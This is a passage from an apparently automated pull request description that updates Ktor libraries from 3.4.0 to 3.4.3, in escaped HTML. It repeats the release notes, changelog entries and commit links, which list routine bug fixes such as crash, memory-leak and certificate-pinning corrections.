inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.0...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-core` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 